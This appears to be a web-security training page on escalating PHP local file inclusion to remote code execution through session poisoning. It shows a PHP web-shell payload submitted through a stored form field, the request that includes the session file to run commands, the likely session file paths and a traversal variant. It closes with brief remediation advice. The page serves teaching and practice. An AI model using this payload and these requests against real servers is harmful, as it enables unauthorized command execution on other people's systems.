File Inclusion: LFI, RFI, and the Road to RCE

PHP Session Poisoning to RCE through LFI

Write PHP into your own session file through a stored field, then include it via an LFI to reach code execution when logs and environ are locked down.

Published

Session poisoning is the most reliable LFI-to-RCE route when logs and environ are locked down, because the file you poison is your own session, which you always control and which lives at a predictable path. This page covers getting PHP into the session, finding the file, and including it. Practice on a free live target.

Where PHP stores sessions

When an app calls session_start(), PHP writes a file per session on disk, named sess_<id> where <id> is your PHPSESSID cookie. The directory is set by session.save_path:

/var/lib/php/sessions/sess_<PHPSESSID>      common on Debian/Ubuntu
/tmp/sess_<PHPSESSID>                         when save_path is unset (system temp dir)

The file's contents are a serialized dump of $_SESSION. Anything the application stores there from your input lands in the file verbatim, which is the opening.

Step 1: get PHP into your session

Find a field the app writes into $_SESSION: a saved preference, a username echoed back, a cart note, a "remember this" value. Submit a PHP payload as that value:

POST /profile HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=9a1f7c2e4b8d
 
display_name=<?php system($_GET['c']); ?>
HTTP/1.1 302 Found
Location: /profile

The app stored your display_name into $_SESSION, so your session file now contains the PHP payload.

Step 2: include your session file and run a command

Point the inclusion at your own session file and pass the command:

GET /index.php?page=/var/lib/php/sessions/sess_9a1f7c2e4b8d&c=id HTTP/1.1
Host: target.example
Cookie: PHPSESSID=9a1f7c2e4b8d
HTTP/1.1 200 OK
Content-Type: text/html
 
display_name|s:28:"uid=33(www-data) gid=33(www-data) groups=33(www-data)
";

The include loaded your session file as PHP. The default session serializer had stored your value as display_name|s:28:"<?php system($_GET['c']); ?>";, so PHP printed the display_name|s:28:" preamble as text, executed the payload in the middle, then printed the closing ";. The serialized noise around the output is expected, your command still ran.

Edge variants

/tmp/sess_9a1f7c2e4b8d                    the /tmp save path
?page=../../../../var/lib/php/sessions/sess_9a1f7c2e4b8d&c=whoami    traversal-prefixed

If you cannot find a field stored in the session, look for values the framework persists automatically (last-visited URL, locale, a flash message), since any of them written from your input is a candidate.

Why this works when logs do not

Logs can be root-only, rotated away, or mangled by their format. Your session file is created for you, lives at a path named after your own cookie, and holds whatever the app stored from your input. When any attacker-influenced value reaches $_SESSION, this is usually the cleanest LFI-to-RCE path on the box.

Fixing it

  • Store sessions outside any includable path and mount the session directory non-executable.
  • Never place raw user input into $_SESSION without validation, so a session file cannot hold code.
  • Allow-list include targets and keep user input out of include, which closes this along with every sibling technique.

Full guidance is in preventing file inclusion. Next, load a file you host when the config allows it in remote file inclusion, or try session poisoning on a free lab.

← Back to File Inclusion: LFI, RFI, and the Road to RCE